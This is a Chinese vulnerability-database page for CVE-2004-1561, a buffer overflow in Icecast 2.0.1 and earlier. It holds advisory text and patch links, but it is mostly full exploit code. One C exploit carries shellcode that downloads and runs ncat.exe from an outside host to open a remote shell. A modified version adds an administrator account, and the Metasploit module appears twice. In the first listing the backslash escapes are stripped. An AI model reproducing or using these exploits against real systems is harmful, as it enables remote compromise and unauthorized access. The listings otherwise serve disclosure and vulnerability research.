CVE-2004-1561
CVSS7.5
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 22:56:32
NMCOEP    

[原文]Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.


[CNNVD]Icecast远程任意指令执行漏洞(CNNVD-200412-498)

        
        Icecast是一款免费开放源代码的音频流服务程序,可使用在多种Unix/Linux操作系统平台下,也可以使用在Microsoft Windows操作系统下。
        Icecast对HTTP的头字段数据缺少充分检查,远程攻击者可以利用这个漏洞以服务进程权限在系统上执行任意指令。
        Icecast Server最多接收客户端带有32个头结构字段的HTTP请求,在某些环境下(Win32)第32头结构会覆盖函数的返回地址。也就是说攻击者可以使用普通的HTTP请求加上31头结构字段在加上SHELLCODE就可能不需要跳转/调用寄存器或地址或使用其他手段而在主机上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:icecast:icecast:2.0
cpe:/a:icecast:icecast:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1561
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1561
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-498
(官方数据源) CNNVD

- 其它链接及资源

http://aluigi.altervista.org/adv/iceexec-adv.txt
(VENDOR_ADVISORY)  MISC  http://aluigi.altervista.org/adv/iceexec-adv.txt
http://marc.info/?l=bugtraq&m=109640005127644&w=2
(UNKNOWN)  BUGTRAQ  20040928 Code execution in Icecast 2.0.1
http://marc.info/?l=bugtraq&m=109674593230539&w=2
(UNKNOWN)  BUGTRAQ  20041002 Re:2. Code execution in Icecast 2.0.1(exploit with shellcode)
http://securitytracker.com/id?1011439
(UNKNOWN)  SECTRACK  1011439
http://www.securiteam.com/exploits/6X00315BFM.html
(VENDOR_ADVISORY)  MISC  http://www.securiteam.com/exploits/6X00315BFM.html
http://www.securityfocus.com/bid/11271
(PATCH)  BID  11271
http://xforce.iss.net/xforce/xfdb/17538
(PATCH)  XF  icecast-http-bo(17538)

- 漏洞信息

Icecast远程任意指令执行漏洞
高危 边界条件错误
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        Icecast是一款免费开放源代码的音频流服务程序,可使用在多种Unix/Linux操作系统平台下,也可以使用在Microsoft Windows操作系统下。
        Icecast对HTTP的头字段数据缺少充分检查,远程攻击者可以利用这个漏洞以服务进程权限在系统上执行任意指令。
        Icecast Server最多接收客户端带有32个头结构字段的HTTP请求,在某些环境下(Win32)第32头结构会覆盖函数的返回地址。也就是说攻击者可以使用普通的HTTP请求加上31头结构字段在加上SHELLCODE就可能不需要跳转/调用寄存器或地址或使用其他手段而在主机上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Icecast
        -------
        下载Icecast 2.0.2版本:
        
        http://www.icecast.org/

- 漏洞信息 (568)

Icecast <= 2.0.1 Win32 Remote Code Execution Exploit (EDBID:568)
windows remote
2004-10-06 Verified
8000 Delikon
[点击下载] [点击下载]
/* 

by Luigi Auriemma 

Shellcode add-on by Delikon 
www.Delikon.de 

Because of all the forbidden bytes in a http get request 
i had to use a very small shellcode, which was blown up 
by Msf::Encoder::PexAlphaNum. Great encoder. 
------------------------------------------------------------------------- 
C:>iceexec 127.0.0.1 

Icecast <= 2.0.1 Win32 remote code execution 0.1 
by Luigi Auriemma 
e-mail: aluigi@altervista.org 
web:http://aluigi.altervista.org 

shellcode add-on by Delikon 
www.delikon.de 

- target 127.0.0.1:8000 
- send malformed data 

Server IS vulnerable!!! 


C:>nc 127.0.0.1 9999 
Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 

C:Icecast2 Win32> 
--------------------------------------------------------------------------- 


*/ 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

#ifdef WIN32 
#pragma comment(lib, "ws2_32.lib") 
    #include <winsock.h> 
    #include "winerr.h" 

    #define close closesocket 
#else 
    #include <unistd.h> 
    #include <sys/socket.h> 
    #include <sys/types.h> 
    #include <arpa/inet.h> 
    #include <netdb.h> 
    #include <netinet/in.h> 
#endif 

#define VER "0.1" 
#define PORT 8000 
#define BUFFSZ2048 
#define TIMEOUT 3 
#define EXEC"GET / HTTP/1.0rn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "xcc" 
//web download and execution shellcode 
//which downloads http://www.elitehaven.net/ncat.exe 
//this ncat spwans a shell on port 9999 
char shellcode[] = "xEB" 
"x03x59xEBx05xE8xF8xFFxFFxFFx4Fx49x49x49x49x49x49x51x5Ax56x54" 
"x58x36x33x30x56x58x34x41x30x42x36x48x48x30x42x33x30x42x43x56" 
"x58x32x42x44x42x48x34x41x32x41x44x30x41x44x54x42x44x51x42x30" 
"x41x44x41x56x58x34x5Ax38x42x44x4Ax4Fx4Dx49x4Ex4Ex4Cx42x30x42" 
"x50x42x50x4Fx35x4Ax4Ex48x55x42x50x42x30x42x50x49x48x43x4Cx42" 
"x45x4Ax46x50x58x50x34x50x50x4Ex4Ex4Ax4Ex42x36x42x50x42x30x42" 
"x30x41x43x49x4Cx48x56x49x4Bx4Fx36x50x46x41x55x4Ax56x45x57x44" 
"x57x4Ex36x4Dx46x46x55x4Fx4Fx42x4Dx42x45x4Ax46x48x43x4Cx41x4F" 
"x32x42x57x4Ax4Ex48x44x42x50x42x30x42x30x41x43x49x4Cx41x55x41" 
"x35x4Dx48x47x53x48x55x4Dx38x47x47x4Ax50x48x35x41x35x4Fx4Fx42" 
"x4Dx43x55x4Ax56x4Ax59x50x4Fx4Cx38x50x30x4Ax4Ex4Dx32x42x50x42" 
"x30x42x30x41x55x47x35x4Fx4Fx42x4Dx41x53x49x4Cx49x34x44x4Ex50" 
"x4Fx43x35x4Ax46x50x37x4Ax4Dx44x4Ex43x47x4Ax4Ex49x41x42x30x42" 
"x50x42x30x4Fx4Fx42x4Dx45x55x48x55x46x46x41x4Ax42x53x42x30x42" 
"x30x42x30x4Bx48x42x44x4Ex30x4Bx58x42x37x4Ex51x4Dx4Ax4Bx48x4A" 
"x56x4Ax30x49x58x4Ax4Ex50x45x4Dx55x43x4Cx43x35x45x45x48x55x47" 
"x35x4Bx48x4Ex46x46x42x4Ax31x4Bx58x45x54x4Ex33x4Bx58x46x35x45" 
"x30x4Ax57x41x50x4Cx4Ex4Bx38x4Cx34x4Ax41x4Bx58x4Cx55x42x52x41" 
"x50x4Bx4Ex43x4Ex45x43x49x54x4Bx48x46x53x4Bx48x41x50x50x4Ex41" 
"x53x4Fx4Fx4Ex4Fx41x43x42x4Cx4Ex4Ax4Ax43x42x4Ex46x37x47x50x41" 
"x4Cx4Fx4Cx4Dx50x41x30x47x4Cx4Bx4Ex44x4Fx4Bx33x4Ex37x46x52x46" 
"x51x45x47x41x4Ex4Bx48x4Cx35x46x42x41x50x4Bx4Ex48x56x4Bx58x4E" 
"x50x4Bx44x4Bx58x4Cx55x4Ex31x41x30x4Bx4Ex4Bx48x46x50x4Bx58x41" 
"x30x4Ax4Ex49x4Ex44x30x42x50x42x50x42x50x41x53x42x4Cx49x58x4C" 
"x4Ex4Fx55x50x35x4Dx45x4Bx55x43x4Cx4Ax4Ex4Fx42x4Fx4Fx4Fx4Fx4F" 
"x4Fx4Dx36x4Ax46x4Ax56x50x52x45x56x4Ax57x45x46x42x30x4Ax56x46" 
"x47x46x57x42x57x4Cx43x4Fx42x4Fx32x47x47x47x47x47x47x50x42x45" 
"x36x4Ex56x49x36x46x57x45x56x4Ax36x41x36x48x57x45x36x50x56x50" 
"x32x50x46x45x36x46x47x4Fx42x50x46x43x36x41x56x46x37x50x32x45" 
"x36x4Ax37x45x46x42x50x5A"; 


/* 
in my example 0xcc is used to interrupt the code execution, you must 
put your shellcode exactly there. 
You don't need to call a shellcode offset (CALL ESP, JMP ESP and so 
on) or doing any other annoying operation because the code flow 
points directly there!!! 
Cool and easy 8-) 
*/ 


int startWinsock(void) 
{ 
  WSADATA wsa; 
  return WSAStartup(MAKEWORD(2,0),&wsa); 
} 

int timeout(int sock); 
u_long resolv(char *host); 
void std_err(void); 

int main(int argc, char *argv[]) { 
    structsockaddr_in peer; 
    int sd; 
    u_short port = PORT; 
    u_charbuff[BUFFSZ]; 
UCHAR buf[4096]; 
UCHAR *pointer=NULL; 


    setbuf(stdout, NULL); 

    fputs("n" 
        "Icecast <= 2.0.1 Win32 remote code execution "VER"n" 
        "by Luigi Auriemman" 
        "e-mail: aluigi@altervista.orgn" 
        "web:http://aluigi.altervista.orgn" 
  "nshellcode add-on by Delikonn" 
  "www.delikon.de" 
        "n", stdout); 

    if(argc < 2) { 
        printf("nUsage: %s <server> [port(%d)]n" 
            "n" 
            "Note: This exploit will force the Icecast server to download NCATn" 
            "and after execution it will spwan a shell on 9999n" 
            "n", argv[0], PORT); 
        exit(1); 
    } 

#ifdef WIN32 

    startWinsock(); 
#endif 

    if(argc > 2) port = atoi(argv[2]); 

    peer.sin_addr.s_addr = resolv(argv[1]); 
    peer.sin_port= htons(port); 
    peer.sin_family= AF_INET; 

    memset(buf,0x00,sizeof(buf)); 
    strcpy(buf,EXEC); 
    
pointer =strrchr(buf,0xcc); 

strcpy(pointer,shellcode); 

strcat(buf,"rn"); 
strcat(buf,"rn"); 
    

    printf("n- target %s:%hun", 
        inet_ntoa(peer.sin_addr), port); 

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    if(sd < 0) std_err(); 

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) 
      < 0) std_err(); 

    fputs("- send malformed datan", stdout); 
    if(send(sd, buf, strlen(buf), 0) 
      < 0) std_err(); 

    if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) { 
        fputs("nServer IS vulnerable!!!nn", stdout); 
    } else { 
        fputs("nServer doesn't seem vulnerablenn", stdout); 
    } 

    close(sd); 
    return(0); 
} 

int timeout(int sock) { 
    structtimeval tout; 
    fd_setfd_read; 
    int err; 

    tout.tv_sec = TIMEOUT; 
    tout.tv_usec = 0; 
    FD_ZERO(&fd_read); 
    FD_SET(sock, &fd_read); 
    err = select(sock + 1, &fd_read, NULL, NULL, &tout); 
    if(err < 0) std_err(); 
    if(!err) return(-1); 
    return(0); 
} 

u_long resolv(char *host) { 
    structhostent *hp; 
    u_longhost_ip; 

    host_ip = inet_addr(host); 
    if(host_ip == INADDR_NONE) { 
        hp = gethostbyname(host); 
        if(!hp) { 
            printf("nError: Unable to resolve hostname (%s)n", host); 
            exit(1); 
        } else host_ip = *(u_long *)(hp->h_addr); 
    } 
    return(host_ip); 
} 

#ifndef WIN32 
    void std_err(void) { 
        perror("nError"); 
        exit(1); 
    } 
#endif 

// milw0rm.com [2004-10-06]
		

- 漏洞信息 (573)

Icecast <= 2.0.1 Win32 Remote Code Execution Exploit (modded) (EDBID:573)
windows remote
2004-10-12 Verified
8000 K-C0d3r
[点击下载] [点击下载]
/*
ICECAST 2.0.1 WiN32 REMOTE EXPLOiT

by Luigi Auriemma

Modded by:

**************************
******* LORDKAOZ *********
*** OF IMPERATORI TEAM ***
**************************
Greetz to marc0z, m3nTe, DarKBad, OuT, FaX (Anche se non se lo merita), MeSSiA e eXpLoIt!

This exploit will add an Administrator account with USER: X AND PASSWORD: X

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <netinet/in.h>
#endif



#define VER     "0.1"
#define PORT    8000
#define BUFFSZ  2048
#define TIMEOUT 3
#define EXEC    "GET / HTTP/1.0\r\n" \
                "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" \
                "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" \
                "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" \
                "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" "a\r\n" \
                "\xcc" 

char shellcode[] =
"\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
"\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68"
"\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68"
"\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89"
"\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53"
"\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31"
"\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00"
"\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69"
"\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89"
"\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51"
"\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49"
"\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14"
"\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18"
"\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01"
"\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38"
"\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1"
"\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"
"\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd;
    u_short port = PORT;
    u_char  buff[BUFFSZ];


    setbuf(stdout, NULL);

    fputs("\n"
        "Icecast <= 2.0.1 Win32 remote code execution "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
		"*************************************\n"
		"SHELLCODE ADDED BY LORDKAOZ\n"
		"OF #IMPERATORI\n"
		"*************************************\n"
		"SHELLCODE BASED ON WIN32_ADDUSER\n"
		"BY METASPLOIT GROUP\n"
		"*************************************\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <server> [port(%d)]\n"
            "\n"
            "THiS iS A POC EXPLOIT BY Luigi Auriemma\n"
			"AND MODDED BY LORDKAOZ WITH AN ADMINISTRATOR X/X ADDUSER\n"
			"BASED ON METASPLOIT SHELLCODE\n"
            "\n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("\n- target   %s:%hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    fputs("- send malformed data\n", stdout);
    if(send(sd, EXEC, sizeof(EXEC) - 1, 0)
      < 0) std_err();

    if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) {
        fputs("\nThe Server Is Vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer Doesn't Seem To Be Vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Cannot Resolve Hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-10-12]
		

- 漏洞信息 (16763)

Icecast (<= 2.0.1) Header Overwrite (win32) (EDBID:16763)
win32 remote
2010-04-30 Verified
8000 metasploit
[点击下载] [点击下载]
##
# $Id: icecast_header.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
			'Description'    => %q{
					This module exploits a buffer overflow in the header parsing
				of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
				headers will cause a write one past the end of a pointer
				array.  On win32 this happens to overwrite the saved
				instruction pointer, and on linux (depending on compiler,
				etc) this seems to generally overwrite nothing crucial (read
				not exploitable).

				!! This exploit uses ExitThread(), this will leave icecast
				thinking the thread is still in use, and the thread counter
				won't be decremented.  This means for each time your payload
				exits, the counter will be left incremented, and eventually
				the threadpool limit will be maxed.  So you can multihit,
				but only till you fill the threadpool.

			},
			'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2004-1561'],
					[ 'OSVDB', '10406'],
					[ 'BID', '11271'],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x0d\x0a\x00",
					'DisableNops' => true,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Sep 28 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(8000)
			], self.class)
	end

	# Interesting that ebp is pushed after the local variables, and the line array
	# is right before the saved eip, so overrunning it just by 1 element overwrites
	# eip, making an interesting exploit....
	# .text:00414C00                 sub     esp, 94h
	# .text:00414C06                 push    ebx
	# .text:00414C07                 push    ebp
	# .text:00414C08                 push    esi

	def exploit
		connect

		# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
		# jmp 12
		evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
		evul << "Accept: text/html\r\n" * 31;

		# jmp [esp+4]
		evul << "\xff\x64\x24\x04\r\n"
		evul << "\r\n"

		sock.put(evul)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F83162)

Icecast 2.0.1 Header Overwrite (PacketStormID:F83162)
2009-11-26 00:00:00
Luigi Auriemma,spoonm  metasploit.com
exploit,web,overflow
CVE-2004-1561
[点击下载]

This Metasploit module exploits a buffer overflow in the header parsing of icecast, discovered by Luigi Auriemma. Sending 32 HTTP headers will cause a write one past the end of a pointer array.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
			'Description'    => %q{
				This module exploits a buffer overflow in the header parsing
				of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
				headers will cause a write one past the end of a pointer
				array.  On win32 this happens to overwrite the saved
				instruction pointer, and on linux (depending on compiler,
				etc) this seems to generally overwrite nothing crucial (read
				not exploitable).

				!! This exploit uses ExitThread(), this will leave icecast
				thinking the thread is still in use, and the thread counter
				won't be decremented.  This means for each time your payload
				exits, the counter will be left incremented, and eventually
				the threadpool limit will be maxed.  So you can multihit,
				but only till you fill the threadpool.
					
			},
			'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-1561'],
					[ 'OSVDB', '10406'],
					[ 'BID', '11271'],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],

				],
			'Privileged'     => false,
			'DefaultOptions' => 
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x0d\x0a\x00",
					'DisableNops' => true,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Sep 28 2004',
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(8000)
				], self.class)
	end

	# Interesting that ebp is pushed after the local variables, and the line array
	# is right before the saved eip, so overrunning it just by 1 element overwrites
	# eip, making an interesting exploit....
	# .text:00414C00                 sub     esp, 94h
	# .text:00414C06                 push    ebx
	# .text:00414C07                 push    ebp
	# .text:00414C08                 push    esi

	def exploit
		connect
		
		# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
		# jmp 12		
		evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
		evul << "Accept: text/html\r\n" * 31;
	
		# jmp [esp+4]
		evul << "\xff\x64\x24\x04\r\n"
		evul << "\r\n"
		
		sock.put(evul)

		handler
		disconnect
	end

end
    

- 漏洞信息

10406
Icecast Server Multiple HTTP Headers Overflow
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Icecast Server. The Server fails to properly boundary check in the parsing of HTTP headers resulting in a buffer overflow. With a specially crafted request, an attacker can cause execution of arbitrary code resulting in a loss of confidentiality.

- 时间线

2004-09-28 Unknow
2004-09-28 Unknow

- 解决方案

Upgrade to version 2.0.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站